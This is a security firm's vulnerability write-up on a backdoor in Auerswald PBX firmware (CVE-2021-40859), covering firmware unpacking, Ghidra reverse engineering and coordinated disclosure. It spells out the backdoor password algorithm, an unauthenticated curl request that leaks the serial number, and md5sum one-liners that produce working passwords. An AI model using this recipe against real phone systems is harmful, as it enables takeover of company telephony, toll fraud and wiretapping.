RedTeam Pentesting GmbH - werde eine*r von uns

20 December 2021

Inside a PBX - Discovering a Firmware Backdoor

This blog post illustrates how RedTeam Pentesting discovered a real-world backdoor in a widely used Auerswald phone system (see also the advisory and CVE-2021-40859). We will describe the methodology used to find the backdoor by examining the firmware, highlight the practical implications of the vulnerability and outline our communications with Auerswald.

We examined IP telephones and a PBX of Auerswald during one of our engagements. A PBX routes incoming and outgoing calls to their corresponding destinations, not unlike an IP router. Companies often use a single telephone number with different additional extension numbers assigned to specific telephones.

During the analysis of the devices we found a reference to a service Auerswald provides in case a customer looses the credentials to their admin account. By filling out a document and contacting the manufacturer, the PBX' admin password can be reset. We wondered how that process might work and decided to take a closer look.

Obtaining and Unpacking the Firmware Image

We started this endeavour by downloading the firmware image for the COMpact 5500, version 7.8A, from the Auerswald support website. Images like this one contain the software for the PBX and are available in order to allow customers to update the device to the newest version. Since there is no single standard way of distributing firmware images we first had to figure out the format of this particular file. An easy way to get some information is the Linux command-line utility file:

$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23 15:04:43 2020, from Unix, original size modulo 2^32 196976698

The output shows us that the data is compressed using gzip. To get the uncompressed content, the file can be renamed to have the file extension .gz and then extracted using the program gunzip:

$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz
$ gunzip 7_8A_002_COMpact5500.gz

This produces the file 7_8A_002_COMpact5500 which can be analysed again using the file utility:

$ file 7_8A_002_COMpact5500
7_8A_002_COMpact5500: u-boot legacy uImage, CP5500 125850, Linux/ARM, Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38 2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0xCECA93E8, Data CRC: 0x99E65DF1

The extracted file is a “Das U-Boot” (u-boot) multi-image. U-boot is a commonly used bootloader that comes with a number of command-line utilities which can be used to create or modify such image files. Some basic information can be extracted from the image with the u-boot utility dumpimage:

$ dumpimage -l 7_8A_002_COMpact5500
Image Name:   CP5500 125850
Created:      Wed Sep 23 17:04:38 2020
Image Type:   ARM Linux Multi-File Image (uncompressed)
Data Size:    196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point:  00000000
Contents:
   Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
   Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB

The output shows that the multi-image file contains two images. The first image is only 512 Bytes in size and can be ignored. The second image appears to be more interesting and can be extracted using the same tool:

$ dumpimage -p 1 -o rootfs 7_8A_002_COMpact5500
$ file rootfs
rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-f302d7f20ef1, volume name "7.8A_002_125850."

The output of file on the extracted file shows that it contains a Linux ext2 file system, which can be mounted like a regular hard-drive image:

$ sudo mount -o loop,ro rootfs /mnt

Now the contents of the file system can be browsed at /mnt.

Finding the Web Server

Since the document for the password reset functionality states that access to the web interface is needed, we first searched for files giving indications on how the web interface is implemented. The folder at /opt/auerswald contains Auerswald specific scripts and configuration files. It includes the folder lighttpd, containing configuration files for the lighttpd web server, including the file fastcgi.conf:

$HTTP["referer"] !~ "(.*/ipeditor/.*|.*/styles/main.css)" {
	$HTTP["url"] !~ "^(/statics/css/.*|/statics/errors/.*|[...]" {
		fastcgi.server  = ( "/" => ((
				"socket" => env.fastcgi_socket,
				"check-local" => "disable",
				"x-sendfile" => "enable",
				"fix-root-scriptname" => "enable"
			))
		)
	}
}
[...]

Apart from some static files, HTTP requests appear to be forwarded to a FastCGI socket. The socket name is passed via an environment variable during the startup of lighttpd:

$ cd /mnt/opt/auerswald
$ grep -r fastcgi_socket
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
lighttpd/fastcgi.conf:				"socket" => env.fastcgi_socket,
lighttpd/fastcgi.conf:				"socket" => env.fastcgi_socket,

Searching for this socket name reveals a match inside the binary file available at /opt/auerswald/web/webserver:

$ grep -ir webs_fcgi
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
grep: web/webserver: binary file matches

So it seems like most of the web interface is handled by a custom binary application. Subsequently, in order to figure out how the password reset works, we analysed the binary webserver in Ghidra…

Reverse Engineering with Ghidra

Ghidra is an open-source reverse engineering tool developed by the US National Security Agency (NSA). Most notably, Ghidra contains a disassembler and decompiler, which attempt to translate machine instructions back to a human-readable format. Whereas the disassembler translates the machine code to assembly language, which is very close to the actual machine code, the decompiler tries to translate the code to a higher-level programming language. The decompiler of Ghidra produces code in a language very similar to C. After creating a new project in Ghidra and importing the webserver binary, the file can be opened in the “CodeBrowser”. When first opening the file, Ghidra asks if the file should be analysed, starting the decompilation process. The interface of Ghidra is split into different panes. The central pane shows the disassembled code and the right side shows the decompiled code of the currently selected function.

A good starting point is to search for known strings within the binary. This can be done by opening the “Defined Strings” window and using the search bar at the bottom of the newly opened window.

Ghidra Defined Strings

The Auerswald documentation mentions the default user “sub-admin”, so we first searched for that:

Ghidra Search for sub-admin

The search yields a match which is shown in the disassembly pane when selected. Besides decompiling the binary during analysis, Ghidra also searches for cross references (XREFs). Therefore, the disassembly pane shows addresses next to the string which point to the location where the string is used. By double clicking on the first XREF, the disassembly view jumps to the referenced address. The decompiler pane now shows C-like code for the function. The highlighted line shows how the “sub-admin” string is used:

Ghidra Decompiler

The strcmp function is called to compare the variable local_5e8 with the string “sub-admin”. Note that the shown variable and function names are not the names which were used in the original code. Presumably, the variable local_5e8 is the username entered by the user, since it is compared to a known valid username. To be able to identify this variable as the username in other places of the code, it is helpful to rename it to something more descriptive. This can be done by right-clicking the variable and selecting “Rename Variable”.

'Rename Variable' Menu Item in Ghidra

In this case the new variable name username was chosen.

Now, a bit further up within the code we can see that the username is compared to another string:

iVar5 = strcmp((char *)username,"Schandelah");

“Schandelah”?

“Schandelah” appears to be a special username. It turns out that Schandelah is the name of a tiny village in northern Germany where Auerswald produces their devices (see its German Wikipedia entry). This already seems very suspicious, since no documentation of this username could be found in the manuals. Let’s see what happens after the username comparison…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
iVar5 = strcmp((char *)username,"Schandelah");
if (iVar5 == 0) {
  FUN_00287a84(0,&local_94);
  if (local_600 == (undefined4 *)0x0) {
    [...]
  }
  else {
    iVar5 = strcmp((char *)local_600,(char *)&local_94);
    if (iVar5 == 0) {
      [...]
      goto LAB_00015954;
    }
  }
}

So if the username is Schandelah, the function FUN_00287a84 is called with a reference to the variable local_94 (line 3). This pass-by-reference indicates that FUN_00287a84 modifies local_94 in some way. Afterwards, if the variable local_600 is not zero, it is compared to the contents of local_94 using strcmp (line 8). After examining other places where local_600 is used it becomes apparent that this is the password the user entered. Therefore, local_94 must be the password for the user Schandelah! To get the contents of the password, we have to understand FUN_00287a84. Double clicking on FUN_00287a84 yields the function definition:

void FUN_00287a84(undefined4 param_1)
{
  FUN_002878e8(param_1,0,0);
  return;
}

It seems like that this is just a wrapper function calling another function with pre-defined arguments. The inner function is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void FUN_002878e8(undefined4 *param_1,int param_2,uint param_3,undefined4 param_4)
{
  undefined4 uVar1;
  undefined4 local_c4;
  [...]

  if (param_1 == (undefined4 *)0x0) {
    param_1 = &local_84;
    FUN_00289af4(param_1,0x21);
  }
  if (param_2 != 0) {
    if (param_3 < 0x12) {
      __strcpy_chk(&local_2c,(&PTR_DAT_00366940)[param_3],8);
    }
    else {
      local_2c = 0x2e612e6e;
      local_28 = local_28 & 0xffffff00;
    }
  }
  uVar1 = FUN_0027b640(&local_3c,0x10);
  __snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",param_1,&DAT_0036698c,uVar1,&local_2c);
  FUN_002693f8(&local_c4,&local_60);
  FUN_002748e0(param_4,&local_60,8);
  [...]
}

This function first retrieves values using the functions FUN_00289af4 and FUN_0027b640. Then, on line 21, snprintf is used to concatenate four string values. To find out the complete string, we must figure out the value of each argument. It starts with param_1, which is retrieved with a function call to FUN_00289af4 in line 9. Again, a double click makes Ghidra jump to the function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void FUN_00289af4(char *param_1,uint param_2)
{
  int iVar1;
  [...]
  memset(param_1,0,param_2);
  iVar2 = FUN_0028a1c4();
  if (iVar2 != 0) {
    FUN_002748e0(param_1,iVar2 + 0x20,uVar4);
  }
  [...]
  if (iVar2 != 0) {
    FUN_002546f8(0x164,5,0,"targetlib_ifc_impl.c",0x15,"auer_getPbxSerialNumber",0x18,0xd3,
                 "%s: serial=%s","auer_getPbxSerialNumber",param_1);
  }
  [...]
  return;
}

Luckily, the original name for the function is contained as a string within the function. The name is auer_getPbxSerialNumber, indicating that the function retrieves the PBX' serial number. The function called in lines 12 and 13 probably emits a corresponding log message. Since it might be used elsewhere, we renamed it to auer_debuglog. We also renamed the current function FUN_00289af4 to auer_getPbxSerialNumber. We can then jump back to the previously visited function using the keyboard shortcut “Alt + Left Arrow”.

In a similar fashion, we eventually figured out all other arguments given to the snprintf function call. After assigning each variable and function an appropriate name the value of the concatenated string becomes apparent:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void FUN_00289af4(char *param_1,uint param_2)
{
  undefined4 currentDate;
  undefined4 local_c4;
  [...]

  if (pbx_snr == (undefined4 *)0x0) {
    pbx_snr = &local_84;
    auer_getPbxSerialNumber(pbx_snr,0x21);
  }
  if (param_2 != 0) {
    if (param_3 < 0x12) {
      __strcpy_chk(&countrycode,(&countrycodes)[param_3],8);
    }
    else {
      countrycode = 0x2e612e6e;
      local_28 = local_28 & 0xffffff00;
    }
  }
  currentDate = getCurrentDateAsString(&local_3c,0x10);
  __snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
  FUN_002693f8(&local_c4,&local_60);
  FUN_002748e0(param_4,&local_60,8);

First, the serial number of the PBX is retrieved (line 9). Afterwards, if the second parameter of the function does not equal zero, a two letter country code is retrieved from a list (lines 11 to 19). However, the wrapper function ensures that this parameter is always zero, so we can skip the country code. Lastly, the current date is read as a string in the format “DD.MM.YYYY” (line 20), which is a common date representation in Germany. Then, a string is formed from these values with the additional hard-coded string r2d2 in between. The resulting string is then given as an argument to the function FUN_002693f8:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
void FUN_002693f8(char *param_1,char *param_2)
{
  [...]
  local_90 = 0xefcdab89;
  local_94 = 0x67452301;
  local_8c = 0x98badcfe;
  local_88 = 0x10325476;

  sVar1 = strlen(param_1);
  FUN_00268aac(&local_94,param_1,sVar1);
  FUN_00268ce4(&local_3c,&local_94);

  *param_2 = "0123456789abcdef"[local_3c >> 4];
  param_2[1] = "0123456789abcdef"[local_3c & 0xf];
  param_2[2] = "0123456789abcdef"[local_3b >> 4];
  param_2[3] = "0123456789abcdef"[local_3b & 0xf];
  [...]
  param_2[0x1f] = "0123456789abcdef"[local_2d & 0xf];
  param_2[0x20] = '\0';
  [...]
}

The function starts by initializing four local variables with static values (lines 4 to 7). A quick search on the Internet reveals that these magic numbers are used in the MD5 hashing algorithm (see RFC 1321, section 3.3):

3.3 Step 3. Initialize MD Buffer

   A four-word buffer (A,B,C,D) is used to compute the message digest.
   Here each of A, B, C, D is a 32-bit register. These registers are
   initialized to the following values in hexadecimal, low-order bytes
   first):

          word A: 01 23 45 67
          word B: 89 ab cd ef
          word C: fe dc ba 98
          word D: 76 54 32 10

Note that the RFC uses little-endian byte order while Ghidra displays these values as big-endian integers. The functions FUN_00268aac (line 10) and FUN_00268ce4 (line 11) correspond to the MD5 update and finalize operations. After finalizing the digest, parts of the results are used as indices into a string consisting of all ASCII digits and letters from a to f (lines 13 to 19). This leads us to conclude that the function FUN_002693f8 calculates the MD5 digest of the string at param_1, as a lower case hexadecimal value. The output is written to the address at param_2.

After renaming the function accordingly, only one unknown function is left:

__snprintf_chk(&unhashedPassword,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
md5(&unhashedPassword,&hexHash);
FUN_002748e0(param_4,&hexHash,8);

The function takes three parameters: param_4, whose value is unknown at this point, the hexadecimal MD5 digest and the hard-coded value 8. Again, the function contains information about its name:

void FUN_002748e0(char *param_1,char *param_2,size_t param_3)
{
  [...]
  if ((int)param_3 < 1) {
    __fprintf_chk(stderr,1,"%s: ungueltiger Aufruf mit size = %d durch %p!","auer_strncpy",param_3);
    fflush(stderr);
  }
  else {
    strncpy(param_1,param_2,param_3);
    param_1[param_3 - 1] = '\0';
  }
  [...]
}

The function appears to be a wrapper around the strncpy function, which copies a string from one address to another address. Since the value 8 was given as an argument, we naively assumed that the first eight characters of the MD5 hash are retrieved.

Broken down, the backdoor password for the user Schandelah appears to be constructed with the following algorithm:

  1. Retrieve the serial number of the PBX
  2. Retrieve the current date as a string
  3. Calculate the MD5 hash of: serial number + “r2d2” + current date (as DD.MM.YYYY)
  4. Return the first 8 characters of the calculated hash

So the only secret information an attacker needs to know to generate the password for the user Schandelah is the serial number of the PBX. However, it turns out that this information is not so secret after all, but can be retrieved without authentication from the path /about_state:

$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{
  "pbx": "COMpact 5500R",
  "pbxType": 35,
  "pbxId": 0,
  "version": "Version 7.8A - Build 002  ",
  "serial": "1234123412",
  "date": "30.08.2021",
  [...]
}

After we calculated the password and then tried to login with the user Schandelah, the authentication failed. At this point, there could be several possible reasons for this and since we had no way to debug the PBX, we had to validate each step of the password generation process by going through the decompiled code again. In the end it turned out that we misunderstood the implementation of the strncpy wrapper: While strncpy indeed copies eight characters, the wrapper auer_strncpy then ensures that the string is properly null-terminated:

strncpy(param_1,param_2,param_3);
param_1[param_3 - 1] = '\0';

Therefore, the backdoor password actually consists of only seven characters of the MD5 hash, for example:

$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'
1432d89

Equipped with this password we then could authenticate successfully. After logging in, the web interface showed a special service page, which allowed among other functions to reset the administrator password.

More “Schandelah”?

While this backdoor password allowed us to reset the administrator password and gain full privileges on the PBX, we wondered whether the same password generator is used in other places. We used the cross reference search of Ghidra to find other invocations of the password generation function. In the same function where the user Schandelah is checked, the following code can be found:

iVar5 = strcmp((char *)password,(char *)&local_d8);
if (iVar5 != 0) {
  [...]
  FUN_0019441c(param_1[2],"TkLand",&local_5c4);
  generate_backdoor_password(0,1,local_5c4,&local_2d8);
  iVar5 = strcmp((char *)password,(char *)&local_2d8);
  goto joined_r0x00015678;
}

This branch of code is executed when the adminstrative username admin is passed. First, the real admin password stored in the variable local_d8 is checked. If the password entered by the user does not match, it is compared again to a “fallback” password generated using the backdoor routine. However, this time, the country code configured for the PBX is read out and passed as an argument. Consequently, the fallback password for the admin user is generated with the two letter country code, for example:

$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'
92fcdd9

The admin fallback password provides full-privileged access to the PBX without needing to change the password first.

So What?

While the backdoor passwords were discovered during a penetration test on a specific Auerswald PBX, many other PBX models from the manufacturer are affected as well. In some cases the web interface of those PBX devices are facing the Internet and thus could be compromised in a large-scale attack. It’s difficult to tell exactly how many devices are affected, but a quick search on Shodan shows that there are a few Auerswald lighttpd servers on the Internet. However, not all of the results are PBX devices, and this search does not take the firmware version into account.

Shodan Report Showing 1667 Results

Since most of these devices handle incoming and outgoing calls for companies, a compromise could possibly have severe consequences. For example, attackers could dial premium rate numbers to gain a financial benefit or wiretap sensitive phone calls in order to gain information to their advantage.

A few more vulnerabilities

As all of the tested Auerswald devices had web-based configuration interfaces, we also examined those for typical web vulnerabilities. A way could be found to read out credentials from a single IP telephone (CVE-2021-40856), which allowed to access the PBX with limited privileges. Those privileges could then be escalated to “sub-admin” (CVE-2021-40857), a user that is usually used to configure the PBX. So all in all, we found several ways how an attacker can gain highly privileged access to the telephone infrastructure.

Disclosure to Auerswald

The vulnerability is present in several firmware versions of the affected devices, so a thorough fix could only be provided by the manufacturer itself. With the approval of our customer, we disclosed details of the vulnerability to Auerswald. In order to facilitate a quick resolution, we set a fixed time frame of 90 days after which we also release the details of the vulnerability to the public. This gives the vendor enough time to produce an appropriate fix while also ensuring that other affected businesses are made aware of the issue and potential mitigations. We always make sure to communicate our disclosure process in a very clear way. Also, we try to coordinate the public disclosure in a sensible way with the release of the fix from the vendor. Customers should be given enough time to update their systems before details of the vulnerability are released.

Auerswald reacted in an exemplary manner, acknowledging the issue and releasing an updated firmware for the affected devices in a timely manner. We were updated on the progress and provided with fixed firmwares and access to devices to test them on in advance of the release, to make sure the vulnerabilities have been resolved correctly. You can find the timeline of the public disclosure process in our advisory.